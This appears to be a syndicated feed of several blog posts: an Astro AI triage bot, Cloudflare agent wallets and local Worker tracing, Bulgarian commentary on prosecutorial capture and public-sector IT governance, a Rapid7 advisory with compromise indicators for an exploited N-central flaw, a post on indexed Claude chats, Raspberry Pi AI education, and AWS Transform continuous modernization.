When we first launched this automated system, we had shared concerns about its efficacy and the potential negative impacts it might have on our developer community. There was a valid fear that relying on automated bot responses might feel impersonal and create just one more disconnect between us as maintainers and our user base.

That did not happen. If anything, we talk to users more now, just in more useful places:

  • Engaging directly with our community members within Discord.
  • Actively participating in RFC discussions and addressing new feature requests.
  • Collaborating closely with contributors to help integrate their ideas into the framework.

Regarding the quality of automated patches, our core philosophy is that our AI agents should successfully resolve the vast majority of incoming issues. When an agent fails to identify a correct solution, we interpret that failure as an indicator of an underlying architectural or documentation issue within the codebase, pointing to one of three areas:

  • Opaque Abstractions: If an agent cannot interpret the boundaries between components, human developers likely struggle with the code structure as well.
  • Missing Documentation: Critical code segments lack explicit comments explaining the rationale behind their implementation.
  • Insufficient Testing: The repository suffers from a lack of comprehensive test coverage, particularly unit tests.

A clear example occurred with a series of related Hot Module Replacement (HMR) bugs. The triage bot repeatedly attempted to modify a specific if condition to resolve the issue. While this change fixed the targeted bug, it introduced regressions elsewhere due to a lack of test coverage for that specific condition. Once we added a descriptive comment explaining the exact logic governing that statement, the bot adapted and stopped attempting incorrect modifications in that area.

Every time we chase down one of these failures and add the missing comment, test, or clearer boundary, the bot gets noticeably better at that part of the codebase, and so does the next human who works on it.

Turning the workflow into a GitHub Action

Initially, our triage logic lived directly within the Astro monorepo. This coupling made iteration difficult; upgrading Flue or modifying the workflow felt like performing surgery on live infrastructure without a safety net. To solve this, we decoupled the logic into a standalone, testable repository: triagebot-action. This isolation allowed us to introduce automated testing and ensure stability before ever touching our primary codebase.

Today, this action powers issue management in Astro, and it has spread from there. Several other teams have picked it up, some using it directly, and others forking it to build their own automated "factories" tailored to their projects. That second path is really the point: triagebot-action is young and still actively evolving, so we’re sharing it less as a finished product and more as a working reference you can read, learn from, and adapt. 

The wiring for the action itself looks like this:

Or point your own agent at the repository and have it read through the setup, including adding the labels the state machine relies on.

Whichever route you take, the underlying idea matters more than our specific implementation: a sustainable feedback loop that frees maintainers to focus on the framework itself instead of administering a backlog. The code is open. Fork it, strip it down, or just borrow the parts that fit your project.

Want to build something like this? Dig into the code of the triagebot-action to see how it works, or fork it as a starting point for your own repository’s automation. And if you’re building agent-based infrastructure more seriously, that’s exactly what Flue is for: dive into the Flue framework to build your own. We’d love to see what you build. Come share your "factory" stories in the Astro Discord.

Announcing Cloudflare Wallets: the programmable wallet for the agentic Internet

Post Syndicated from Will Papper original https://blog.cloudflare.com/wallets/

Today, it is difficult for AI agents to try out new APIs. They often have to navigate through a login page designed for humans and not agents, contact a human to add a payment method, generate an API key, and then figure out how to call the API.

This flow is very difficult for agents for two reasons: Agents do not have a stable identifier to sign up for an API, and they do not have a native way to pay for APIs. Because they lack these things, they often struggle to onboard onto software, which limits the growth of agentic commerce. AI agents often give up on these tasks entirely, kicking registration, payment methods, and API key generation back to humans. This makes it very difficult for agents to try out and compare many APIs.

To solve this, we’ve created Cloudflare Wallets. Starting today, you can claim a Cloudflare Wallet handle for your account, which will provide a unique username to help you better connect with merchants. Soon, you will be able to set up and use your Cloudflare Wallet to pay for APIs and content.

Earlier this month, we announced the Monetization Gateway to help Cloudflare customers get paid for their websites and applications. Monetization Gateway will support micropayments using the x402 protocol, which allows for payments to be attached to HTTP requests. These micropayments will be able to pay for uses ranging from AI inference to data to content. If you want to pay or get paid for services behind Monetization Gateway and other x402-compatible endpoints, you’ll need a wallet. 

Cloudflare Wallets will allow you to store stablecoins, purchase services, and receive funds across the web. Each account with a wallet will also be able to create Virtual Wallets for its agents to enable them to buy APIs, MCP Tools, content, and more. You will be able to define guardrails for your Virtual Wallets (such as an allowance, an allow list, and a maximum transaction size) to help your agent spend money safely from your account. This will allow your agent to try out many APIs with low friction and managed risk. Wallet users will have the option to share their Cloudflare Wallet handles, which will give them a stable identity when interacting with merchants.

Building the two-sided agentic market

Cloudflare’s Monetization Gateway will allow eligible Cloudflare customers to sell their resources (such as content or APIs) headlessly to agentic buyers. But for that market to truly develop, agents need more tools to buy from merchants in a machine-native way. Wallets will add another tool to Cloudflare’s Agents SDK, enabling AI agents to easily purchase necessary APIs and content using micropayments.

There will be two types of Cloudflare Wallets: Account Wallets and Virtual Wallets.

Account Wallets are designed for humans who are owners and users of Cloudflare accounts. They will be able to add funds, delegate spend to virtual wallets managed by agents, and remove funds as needed. 

Virtual Wallets, by contrast, are designed for agents and operate via API keys. Within a Virtual Wallet, an agent will be able to spend funds according to its permissions. Its maximum spend will be capped by the limit set by the owner of the Account Wallet. This framework gives agents freedom to act on behalf of users without constant manual approval while limiting an agent’s ability to overspend.

The freedom to explore

Virtual Wallets are exciting because they will allow agents to do what they’re best at: explore dozens or hundreds of services and find the best one for a particular use case. Stablecoin micropayments via x402 will make it simple to try an API without an account, allowing agents to test new options with little friction. The spending caps on Virtual Wallets are designed so that humans can let agents explore autonomously within safe spending limits. These limits may seem like constraints, but counterintuitively they give agents more freedom. If an agent is responsible for $10, you can worry less about its spending than if it is responsible for $1,000. If an API only costs a few cents to try, then $10 is more than sufficient to pursue and evaluate many options.

Once you or your agent has picked an API to use, policies set by you in your Account Wallet will act as cost controls for Virtual Wallets. Want to give every employee a $100 per week budget for AI inference? Simply provision an Account Wallet with the right balance and create Virtual Wallets for each employee with that rule. Anyone who exceeds the limits on their Virtual Wallet will be able to request a manual override from a human who is authorized to make changes to the Account Wallet.

We want to make it easy for Account Wallets to set flexible yet firm spending policies that do not require daily, active monitoring. When something anomalous happens, such as unexpectedly fast spending, a human will be able to review and confirm whether everything is operating as intended. If the spend was intentional, then the administrator of the Account Wallet will be able to raise the limit or approve a one-time injection of funds. If the spend was unintentional, then the spending policies for adding funds to virtual wallets did their job by imposing caps.

We are working to make it as easy as possible to fund and use these wallets. We will start with simple ways to onramp and offramp funds within supported geographies, with self-funding via stablecoins available as an alternative for eligible users. The Internet will not shift completely overnight, but with a majority of traffic on the web now being driven by bots, we are excited to give agents and merchants first-class tools for agentic commerce.

Beyond payments alone

Allowing humans to delegate authority to agents to easily buy and sell services is a helpful starting point. But this delegation is not always obvious to the merchants as they interact with agents. Today, if an agent comes to your website, you may know little about them as a user, despite the fact that the agent is acting on behalf of an individual or an organization. This lack of attribution challenges many traditional web business models. It’s easy to give a one-week free trial or sign-up credits to a human or an organization. It’s hard to give these same perks to an agent that lacks a stable identity and when one human can spin up dozens of agents under their control.

We solve this problem by linking wallets to a Cloudflare account via cloudflare.pay. cloudflare.pay will allow agents to optionally identify themselves, since their identity is a delegate of the account. A research agent could live at research.example.cloudflare.pay, allowing merchants to know that it is an agent from a particular organization. This approach will permit agents to maintain consistent and persistent identities, making the experience better for all parties. It will be completely optional for agents to choose to declare their identity or not, and it will be up to businesses to decide whether they want to prioritize transacting with known agents.

Agent identifiers should be human-readable

We believe that the approach to dealing with agents will look like the approach to dealing with VPNs: If someone is unidentified, they are not inherently untrustworthy, but they need to prove themselves more. This is why we have Turnstile and other initiatives to detect bots within Bot Management. Our identity primitive will build on top of this prior work. For example, Web Bot Auth already allows agents to register their identity via a keypair. IDs attached to Cloudflare Wallets allow this keypair to become human-readable.

We know that agentic identity standards are changing quickly, which is why we wanted to keep our approach simple. We are proposing a human-readable identifier for a not-very-readable keypair, similar to the URL and IP-address pairings used in DNS. We are not trying to define a particular schema or other verification system. We only want to make identity simple to remember and easy to declare. As schemas to enrich agentic identity develop through the x402 Foundation’s initiatives, we will seek to adopt them and intend to encourage others to do the same.

The future of agentic commerce

At Cloudflare, we want to offer all the building blocks for agentic commerce to succeed. Monetization Gateway will offer a way for sellers to get paid without setting up traditional payment infrastructure. Wallets will offer a way for buyers to pay headlessly via agents. Identity will allow merchants to communicate with buyers who identify themselves or enforce identification requirements.

All of these building blocks will create a headless marketplace for the Internet. If you are excited about this and want to participate, you can claim your handle now. We’re excited to see what you build and monetize.

Your agent can now debug Workers with local tracing

Post Syndicated from Zin Khant original https://blog.cloudflare.com/local-tracing/

Starting today, wrangler dev and vite dev automatically capture OpenTelemetry traces for local Worker invocations. When Cloudflare's tooling detects an agent session, it points the agent to the Local Explorer API, a local debugging API where it can query those traces. You do not need to install an SDK, enable tracing, configure your agent, or even mention observability in the prompt.

A prompt can be as simple as:

This builds on years of investment in local development, from introducing Miniflare to making local mode the default in Wrangler 3. Local traces give coding agents structured feedback from that development environment before code is deployed.

Agents discover the Local Explorer API automatically

As part of its normal workflow, an agent starts wrangler dev or vite dev to run and test the Worker. When the development server recognizes a supported coding-agent session, it automatically prints a hint that looks like this:

The Local Explorer is a browser-based interface and REST API for viewing and editing local resource data and querying observability data during development. The API root serves an OpenAPI schema, so agents can discover available endpoints at runtime without hardcoded instructions.

The automatically captured traces are available through a read-only observability endpoint in that API, together with their correlated console logs. The agent can query this telemetry, then use the API's other operations to inspect local Workers and bindings or examine state in D1, KV, R2, Durable Objects, and Workflows. 

Find the failure and verify the fix

Consider POST /api/orders, which retrieves an active cart from KV, saves the checkout details into D1, and sends a message to a Queue for order processing. After a schema change, the endpoint suddenly starts returning a 500 status.

Without local traces 

The 500 does not identify which operation failed. The agent adds logs around KV, D1, and the Queue, reruns the request, inspects the output, and repeats. Each cycle takes time and burns tokens while the agent reconstructs the request from text.

With local traces 

The agent reproduces the error and queries the read-only observability endpoint. The trace shows that the KV read succeeded, the D1 insert failed with no such column: delivery_window, and the Queue was never called. Your agent uses the Local Explorer API to access the same trace data you would see here: 

The agent uses the API to inspect the D1 schema. It finds that the migration adding delivery_window exists in the repository but has not been applied locally, applies it, sends the request again, and queries the new trace. Issue resolved. 

In one local loop, the agent identifies the failed operation, fixes the local environment, and verifies the result without deploying or adding temporary logs.

Explore traces and logs in Local Explorer

Agents query local telemetry through the API, but you as a human can visualize the same data in the Local Explorer, the browser-based interface built into the local development server. Alongside browsing local binding state, you can select a request to inspect its spans, timing, attributes, errors, and correlated console logs. 

Local Explorer runs on the same localhost origin as your Worker, not in the Cloudflare dashboard. Press e in Wrangler or visit /cdn-cgi/explorer on the local server to open it.

How it works 

When we launched Workers Tracing, we built instrumentation directly into workerd, the open-source runtime that powers Workers. Without requiring an SDK or any code changes, the runtime captures spans for:

  • Fetch calls: All outbound HTTP requests, including timing, status codes, and request metadata.
  • Binding calls: Every interaction with KV, R2, D1, Durable Objects, Queues, and other bindings.
  • Handler calls: The full lifecycle of each invocation, from fetch to scheduled to queue handlers.

Any custom spans emitted by your application will also appear alongside these automatic spans. 

Wrangler and the Cloudflare Vite plugin use Miniflare to run your Worker locally in the same runtime, making this instrumentation available during local development.

Miniflare collects runtime events and console output, assembles them into OpenTelemetry traces and correlated logs, then writes the telemetry to an internal SQLite-backed Durable Object that serves as the local trace store. The Local Explorer API exposes that data through the local development server where agents can easily query traces and logs and inspect local state. 

Get started

Update Wrangler or the Cloudflare Vite plugin, whichever your project uses:

Then ask your agent to debug locally as you normally would. Your agent can already write and run your Worker locally — now it can see what happened, fix what failed, and verify the result before you deploy. Check out the docs to learn more!

OFAC действа, прокуратурата спи – симптомите на завладяната съдебна система

Post Syndicated from Bozho original https://blog.bozho.net/blog/4613

С документи на американските власти, публикувани от BIRD, отново се поставя темата за подкупа, даден от Божков на Борисов и Горанов, за да си спести милиони в данъци за хазартната му дейност.

Затова днес от ДБ пратихме писма до OFAC, прокуратурата и ДАНС. За да се изясни докрай с какво разполага САЩ, с какво разполагат българските органи и не следва ли наказателното производство да бъде възобновено.

И както винаги въпросът е не само за това какво установяват в САЩ, а защо българските правоохранителни органи се интересуват по-малко от корупционни престъпления в България, отколкото се интересува друга държава.

Въпросът е риторичен, разбира се – защото Борисов и Пеевски се ползват от чадъри в прокуратурата, която е задкулисно завладяна вече дълги години.

Но конкретната механика на завладяването е важна. И конкретните лица – също. Защото докато десетки независими прокурори учредяват втора прокурорска асоциация, сред останалите са най-верните слуги на модела, и то позицинирани на ключови постове.

Говорил съм и преди за прокурора, който не се интересува от показанията на Божков и други свидетели за дадения подкуп – прокурор Марина Ненкова от СГП, която винаги се „пада“ по особено интересните дела. Дела за ББР, за контрабандата в Митниците, за подкупа към Борисов, както и делото срещу мен.

За това, което OFAC установява за Божков и Борисов, прокурор Ненкова казва „дума срещу дума“ и прекратява досъдебното производство. Същата обаче кредитира показания на един единствен свидетел, че съм му дал флашка (каквато флашка не съществува) и ми повдига обвинение.

Но как Марина Ненкова се оказва прокурор по толкова много дела от висок обществен интерес? В СГП има около 120 прокурори, как така малка група прокурори винаги се падат по важните дела?

Отговорът е в специализацията и в административния ръководител, който може да определя групи прокурори, които гледат отделни групи дела. И така, скрити зад валидния аргумент за специализацията, с помощта на едни изтекли инструкции за донагласяне на случайното разпределение, административните ръководители в Софийска градска прокуратура си правят шпиц-команди за политически поръчки.

Само че за да имаш десетина прокурори за политически поръчки и съдии, които да потвърждават безобразията им, те трябва да са зависими – хванати в някое прегрешение и държани с него. Иначе едва ли доброволно биха газили закона – по-скоро биха си правили отводи.

Затова в СГП съществува „6-ти отдел“ – прокурори, разследващи само престъпления, извършени от съдии, прокурори и следователи. В момента 6-ти отдел е най-малък, само с верни хора на джуджето Емилия Русинова. Тези прокурори образуват досъдебни производства срещу “неизвестен” техен колега, искат СРС-та срещу магистрати, и всичко това после се превръща не в обвинителни актове, а потъва в компроматните банки. И така, малко по малко, системата се овладява.

Главният прокурор може да контролира всичко това. Да иззема дела, да отменя постановления, да налага организационни ограничения, за да няма шпиц-команди. Но рядко го прави, защото „е в играта“. Когато го направи, е защото някой е решил да “играем сам” или “да пропее”. А подчинените му прокурори, временно установени в прокурорската колегия, чинно избират административни ръководители, особено на СГП, които да гарантират, че смазаната машина ще продължи да функционира.

Разбира се, в картинката винаги участват и службите за сигурност – ДАНС, ДАТО, КПКОНПИ/КПК, чиито ръководители виждат и знаят какво става, разписват разпореждания за подслушване, притискат свидетели, но не носят отговорност – и изгряват назначение на някой нов пост – дали пак като шефове на ДАНС, дали като прокурори.

И така ОПГ-то си работи – част от него, облечено в прокурорски тоги, а друга част – в изпълнителна и законодателна власт.

Това е “моделът”, който трябва да бъде демонтиран. Това става с политическа воля, със законодателни и с кадрови действия – смяна на ВСС, така че да не се назначават такива административни ръководители, смяна на законодателството, така че злоупотребите със СРС-та, държането на трупчета, съзнателното наказателно-процесуално бездействие и др. способи да бъдат много по-трудни за реализиране, смяна на структурата на вземане на решения и управление на съдебната власт.

Без да бъде демонтиран този модел, все ще гледаме някъде навън да ни решават корупционните проблеми, които ограничават благосъстоянието и развитието. И това все няма да се случва, защото корупционните проблеми трябва да си ги решим ние като суверенна държава.

Материалът OFAC действа, прокуратурата спи – симптомите на завладяната съдебна система е публикуван за пръв път на БЛОГодаря.

CVE-2026-18577: N-able N-central Authentication Bypass Exploited in the Wild

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-18577-n-able-n-central-authentication-bypass-exploited-in-the-wild

Overview

On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.

N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.

According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform’s Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog. 

Mitigation guidance

Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.

Affected versions:

  • All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 1.

Fixed version:

  • N-able N-central 2026.3.1 Hotfix 1 (2026.3.1.7).

The vendor also recommends:

  • Upgrading N-central agents after applying the server hotfix.

  • Reviewing systems for indicators of compromise.

  • Contacting N-able Support immediately if evidence of compromise is discovered.

  • Engaging internal incident response teams if malicious activity is identified.

For further information, see the vendor advisory.

IOCs

N-able has published several artifacts that administrators should investigate during incident response.

Endpoint Artifacts:

  • Presence of a Cloudflared service.

  • A suspicious svchost.exe located within the user’s Documents folder.

Network Indicators:

  • Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:

    • 173[.]249[.]252[.]200

    • 87[.]249[.]138[.]34

    • 37[.]19[.]210[.]32

    • 37[.]153[.]90[.]88

    • 92[.]118[.]112[.]181

    • 68[.]235[.]46[.]214 

Organizations should also review:

  • Authentication logs

  • Administrative account creation or modification

  • Take Control session activity

  • Remote management logs

  • Windows service installation events

To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 with a vulnerability check expected to be available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.

Updates

  • August 4, 2026: Initial publication.

Some Claude Chats Are Searchable on Google

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/08/some-claude-chats-are-searchable-on-google.html

And it’s personal information (alternate link):

The exposed data includes an AI-powered therapy app that someone appears to have vibe-coded, notes on meetings, and a dashboard someone made apparently to analyze medical billing data. Exposed chats reportedly include private cryptocurrency wallet keys and personal information like peoples’ addresses.

What seems to be the issue is a user setting about data sharing. Anthropic’s position is that it’s not their problem:

“We give people control over sharing their Claude conversations publicly, and in keeping with our privacy principles, we do not share chat directories or sitemaps with search engines like Google,” the company said in a statement. “These shareable links are not guessable or discoverable unless people choose to share them themselves. When someone shares a conversation, they are making that content publicly accessible, and like other public web content, it may be archived by third-party services.”

Here’s how to fix it.

Supporting AI education for 150,000 learners in Aotearoa New Zealand and Australia

Post Syndicated from Anna Burton original https://www.raspberrypi.org/blog/supporting-ai-education-for-150000-learners-in-aotearoa-new-zealand-and-australia/

We’re pleased to share that we are expanding our Experience AI programme to Australia and Aotearoa New Zealand to train 5000 educators who can reach 150,000 students by 2028, thanks to generous funding of $1.2 million from Google.org.

CSER Team delivering a workshop at Adelaide University

Working with local education organisations, we will support young people to develop a foundational understanding of AI technologies, their social and ethical implications, and the role that AI can play in their lives.

AI literacy across the world through Experience AI

AI systems are a common part of everyday life and influence how we access information, and how we work and solve problems. We believe that young people need more than the ability to use AI tools: they need the knowledge, skills, and confidence to understand how AI technology works, to think critically about its impact, and to create AI-based solutions of their own. 

Experience AI is our free educational programme co-developed with Google DeepMind that helps teachers and students learn about artificial intelligence. Through the Experience AI training, lessons, classroom resources, and hands-on activities, teachers introduce young people to how AI systems work, how they can be used, and what their impacts may be.

CSER Team example of teacher workshop 2026

We bring AI literacy to young people across the world with Experience AI by building trusted partnerships with local organisations that lead sustainable delivery of the programme in ways that suit their contexts. Through this global network of Experience AI partners, we have trained over 50,000 educators who can reach an estimated 4.8m young people. Today, Experience AI resources are used in over 195 countries and available in 22 languages. In recognition of its global impact, Experience AI was named a laureate of the 2025 UNESCO King Hamad Bin Isa Al-Khalifa Prize for the Use of ICT in Education.

Experience AI partnerships in Australia and Aotearoa New Zealand

In Australia, the first partner we are working with is the Computer Science Education Research Group (CSER), based at Adelaide University. Professor Katrina Falkner, the university’s Pro-Vice-Chancellor, Learning and Teaching, says about the partnership:

“We are thrilled to partner with the Raspberry Pi Foundation to bring the Experience AI programme to Australian schools. It is so important that teachers are provided opportunities to understand AI so they can help students develop the self-regulated learning skills needed to thrive in a world where AI is increasingly part of everyday learning and work. Educators can play a critical role in ensuring that a human lens of critical thinking, ethical judgement, creativity, and meaningful human connection remain at the heart of AI education and adoption, preparing students for careers where effective collaboration with AI tools will be essential.”

In Aotearoa New Zealand, we are working with Tōnui Collab Charitable Trust, a Maōri-led organisation dedicated to creating innovative STEM learning opportunities.

Collaboration with Tonui

Shanon O’Connor, Director of Tōnui Collab, says about the partnership (1):

“We are partnering with the Raspberry Pi Foundation to provide this kaupapa to educators in Aotearoa, adapting and contextualising their global Experience AI program to make it meaningful and relevant in Aotearoa.

This kaupapa isn’t about learning to code; it’s not a kaupapa designed solely for the ‘tech enthusiasts’, it’s about fostering digital equity, ensuring rangatahi have the tools and knowledge to thrive in a world increasingly shaped by technology. It’s our attempt to ensure the digital divide doesn’t become a digital chasm. 

We’re also facilitating robust conversations about data bias and the impact this has on the ways we as Māori engage with AI-powered technologies, creating space for kōrero about tech tikanga and our collective responsibilities when using or engaging with AI-powered technologies.”

Looking ahead

All young people need opportunities to develop the skills, knowledge, and confidence to navigate and shape a world where AI technologies are widely used. With support from Google.org and education partners across Aotearoa New Zealand, Australia, we will continue to expand access to high-quality AI education.

Find out more about Experience AI at experience-ai.org


(1) Shanon uses some Māori words that are common in Aotearoa New Zealand for both speakers and non-speakers of reo Māori:

  • kaupapa: the guiding purpose, philosophy, or approach underpinning the work
  • rangatahi: younger generation, youth
  • “kōrero about tech tikanga”: having discussions about the correct protocols, ethics, and practices for engaging with technology

The post Supporting AI education for 150,000 learners in Aotearoa New Zealand and Australia appeared first on Raspberry Pi Foundation.

Решаване на проблемите с управлението на информационните и комуникационни технологии в обществения сектор

Post Syndicated from Bozho original https://blog.bozho.net/blog/4611

В петък имах среща с представители ИТ сектора във връзка с повдигнатия от тях въпрос за ролята на системния интегратор и липсата на конкуренция. Срещата беше опит да се намери път към решаването на многото проблеми и по повод разменени остри реплики с министъра през седмицата.

Започнах срещата с 14 констатации:

1. Има проблем със свръхконцентрацията на „ИТ власт“ в Информационно обслужване (ИО), което не е демократично отчетна структура.

2. Има проблем със законосъобразността на директното възлагане чрез инхаус в полза на „бенефициери“

3. Има проблем, когато държавата възлага на външни доставчици без да контролира – кучето скача според тоягата, и някои фирми отбиват номера.

4. Има риск от концентрация на безотчетен достъп до данни – без значение дали е в частна фирма или в ИО.

5. Има проблем с обществени поръчки, при които има само един кандидат – такива има много при почти всички възложители, вкл. когато възложител е ИО (при превъзлагане от името на някой друг).

6. Има проблем с работата на парче, без технически грамотен екип да налага обща визия, стандарти и оперативна съвместимост.

7. Държавата има нужда от системен интегратор за някои ключови системи, както и за контрол и мониторинг. Държавата не може да си позволи да няма вътрешен капацитет и да е изцяло зависима за ключови дейности от частния сектор – дружества които фалират, биват придобити, сменят фокуса си, „извиват ръце“ и т.н.

8. Държавата не може да си прави всичко сама – не е ефективно, при липса на конкуренция цената не е оптимална, няма дружество, което може да поеме всичко.

9. Работата с държавата не може да е основен бизнес модел, но всеки устойчив ИТ бизнес трябва да може да работи с държавата.

10. ИО има много добри експерти, които са доставили важни и добри продукти – напр. еЗдраве, видеонаблюдението за изборите.

11. За доставка на хардуер и лицензи държавата трябва да се възползва от икономиите от мащаба, които дава централизацията и да договори максимални отстъпки – но това не трябва да е вратичка към фаворизиране на конкретни партньори на съответния производител.

12. Не трябва партньорите на производителите да бъдат лишавани от интеграционни услуги към доставените хардуер и лицензи, защото губят експертен капацитет, а държавата губи добавената стойност, която предоставят.

13. ИО трябва да бъде разглеждано не като извършващо търговска дейност, а като лице, осъществяващо публична функция.

14. Липсва адекватна законова уредба на управлението на ИКТ в обществения сектор, която да уреди границите на публичната функция, правилата за управление на продукционни среди, проследимостта на достъпите, механизмите за налагане на оперативна съвместимост и т.н. И тази липса води до всички и концептуални и практически проблеми.

Моето предложение за решение е да се приеме нов закон за управление на ИКТ в обществения сектор. И затова поех ангажимент през септември в Комисията по иновации и дигитална трансформация да предложа създаване на работна група, която заедно с бизнеса и изпълнителната власт да изготви законопроект. Аз съм предлагал вече такъв и работната група може да стъпи на него като основа – той няма претенции да решава всички проблеми, но е добро работно начало.

Ако си свършим работата, ще имаме закон, от който всички са малко недоволни. Но държавата ще може да мине на по-високи обороти, да се гарантира повече конкуренция, да няма безотчетна „ИТ власт“ и инструментариум за фаворизиране, да се ограничат личностните разправии, а срещу по-малко пари да има повече резултати.

Материалът Решаване на проблемите с управлението на информационните и комуникационни технологии в обществения сектор е публикуван за пръв път на БЛОГодаря.

Analyze and remediate technical debt autonomously with AWS Transform – continuous modernization

Post Syndicated from Ritik Khatwani original https://aws.amazon.com/blogs/devops/analyze-and-remediate-technical-debt-autonomously-with-aws-transform-continuous-modernization/

Introduction

In a recent post, my colleague Micah Walter introduced AWS Transform – continuous modernization in public preview. Today, this capability is generally available in regions supported for AWS Transform .

Development velocity continues to increase. But velocity without maintenance accumulates technical debt at speed. The faster software scales, the faster technical debt compounds. At the same time, more sophisticated exploits and attack vectors are emerging – and the risk is increasing (Figure 1). For organizations, this makes staying on top of tech debt and maintaining a strong security posture across an increasing sphere of responsibility not only important, but business-critical.

Two pie-circle diagrams connected by an arrow labeled "AGENTIC AI." In the left circle, most of the area is labeled "BUY, SAAS, COTS" while a small blue wedge labeled "BUILD, MAINTAIN" faces three arrows labeled "VULNERABILITIES." In the right circle, the blue "BUILD, MAINTAIN" section has grown to roughly half the circle and faces many more vulnerability arrows, illustrating how agentic AI expands the amount of code organizations build and maintain — and the corresponding vulnerability surface.

Figure 1: Changing landscape of software maintenance

To contend with compounding technical debt, engineering organizations have typically stitched together point tools, spent app-by-app cycles wasting engineering capacity, and relied on self-reports for status that lags reality and hides regressions.

This is the problem continuous modernization capability was built to solve: shift code transformation from a periodic project into an automated, always-on practice. Rather than scheduling modernization sprints or relying on manual audits, your repositories are analyzed on demand or on a recurring schedule, with findings prioritized by severity and impact, and validated pull requests are generated autonomously to resolve them.

In this post, I’ll recap the preview launch and then I’ll walk you through additional capabilities we’ve added since. I’ll also show how you can use it today to get started.

What continuous modernization provides

AWS Transform – continuous modernization connects to your source control systems (GitHub, GitLab, Bitbucket, or local repositories), scans repositories, and generates prioritized findings. At your direction, it autonomously creates pull requests with validated code changes.

The capability supports several analysis types:

  • Rapid tech debt analysis: fast metadata-only scans of package manifests (pom.xml, package.json, requirements.txt) to identify stale versions and outdated dependencies
  • Comprehensive tech debt analysis: deep code-level analysis examining source code for debt patterns, code quality issues, architecture concerns, and improvement opportunities
  • Security analysis: Common vulnerability detection within the source code and dependencies via AWS Security Agent (now part of AWS Continuum)
  • Agentic readiness: assesses your code base readiness for agent integration
  • Modernization readiness: evaluates candidates for containerization, serverless migration, and platform upgrades
  • Custom analysis: run your own transformation definition as an analysis, including organization-specific policies your platform team already enforces

You can run these analyses on demand or schedule them on a recurring cadence. The system accumulates findings over time, giving you trend data and portfolio-wide visibility that periodic manual audits can’t match.

Initiate and schedule recurring analysis from the AWS Transform web app

We’re excited to add the ability to connect your source code management (SCM) provider and initiate an analysis directly from the AWS Transform web application so you can get value from real insights faster than before (Figure 2). You can also schedule recurring analysis, review findings, and create remediations from within the web app. To learn more about the web app and how to set it up, see AWS Transform web application.

Screen recording of the AWS Transform Continuous Modernization console (N. Virginia region). A "Connect new source" dialog is filled in with GitHub as the provider, then repositories refresh and "agentcore-samples" is selected from the awslabs-agentcoresamples source. A new analysis is configured with type "Tech debt (comprehensive)" and named "agentcore samples tech debt comprehensive." In the Schedule step, "Recurring" is chosen with a weekly cadence on Mondays, a start date of 2026/07/28, and a start time, ending with the "Run now and schedule" button.

Figure 2: Set up continuous modernization in the AWS Transform web application

Interact via your IDE or terminal with the new CLI and developer tools

The new version of the AWS Transform CLI and it’s atx ct(v3.8.0) introduce additional capabilities that simplify how you setup and work with continuous modernization. The new atx ct remote sub-commands allow you to provision infrastructure and run scheduled analyses and remediations with Amazon Elastic Compute Cloud (Amazon EC2) and AWS Batch (Figure 3). To learn more about the CLI commands, refer to working with continuous modernization. The updated AWS Transform Kiro power and plugin make it even easier to configure your source repositories and run analyses directly from your IDE or terminal. To learn more, see developer tools.

You can also leverage labels with your repositories to group them and organize operations in batches. In the example below, I create a subset of repositories from my GitHub organization that I want to run agentic readiness analysis on and trigger a one-time analysis.

Screen recording of a macOS zsh terminal running AWS Transform CLI commands. First, atx ct repository update tags two repositories (ritikk::ecsdemo-nodejs and ritikk::ecsdemo-frontend) with the label "ecs-demos"; the output confirms "Bulk label update complete: Targeted 2, Updated 2." Then atx ct remote analysis --types "agentic-readiness" --mode "batch" --labels "ecs-demos" --sources "ritikk" --stack-name "AtxInfrastructureStack" kicks off a batch analysis. Pre-flight checks pass, a Lambda function is invoked, an S3 manifest is written, and two jobs are submitted to Batch with a batch ID and a poll command shown to check status.

Figure 3: Use the AWS Transform cli to analyze your repositories

Real-world results

Across industries, partners and enterprises are already seeing the impact of continuous modernization. The results speak to a consistent theme: what used to take months of manual effort now happens in minutes, at a scale that was previously impractical with manual review.

From weeks of manual assessment to insights in days

Quantiphi ran continuous modernization across a large portfolio and compressed a multi-week assessment into a matter of days:

“At Quantiphi, we’re helping enterprises accelerate application modernization through AI-powered engineering. Using AWS Transform continuous modernization, we analyzed more than 500 repositories and uncovered over 3,000 technical debt findings in less than a week, a time frame that traditionally required nearly three weeks of manual assessment. By automating technical debt discovery and providing actionable remediation insights, we reduced assessment effort by more than 60%, accelerated modernization planning, and enabled our customers to focus engineering investments on innovation instead of analysis. We believe AWS Transform continuous modernization is a foundational capability for delivering continuous, AI-driven enterprise modernization at scale.”

Sanchit Jain, Migration and Modernization Practice Leader, Quantiphi AWS Practice

Shifting from reactive maintenance to proactive modernization

For Hexaware, the value is in continuously surfacing what needs attention across large portfolios, so teams can get ahead of debt rather than react to it:

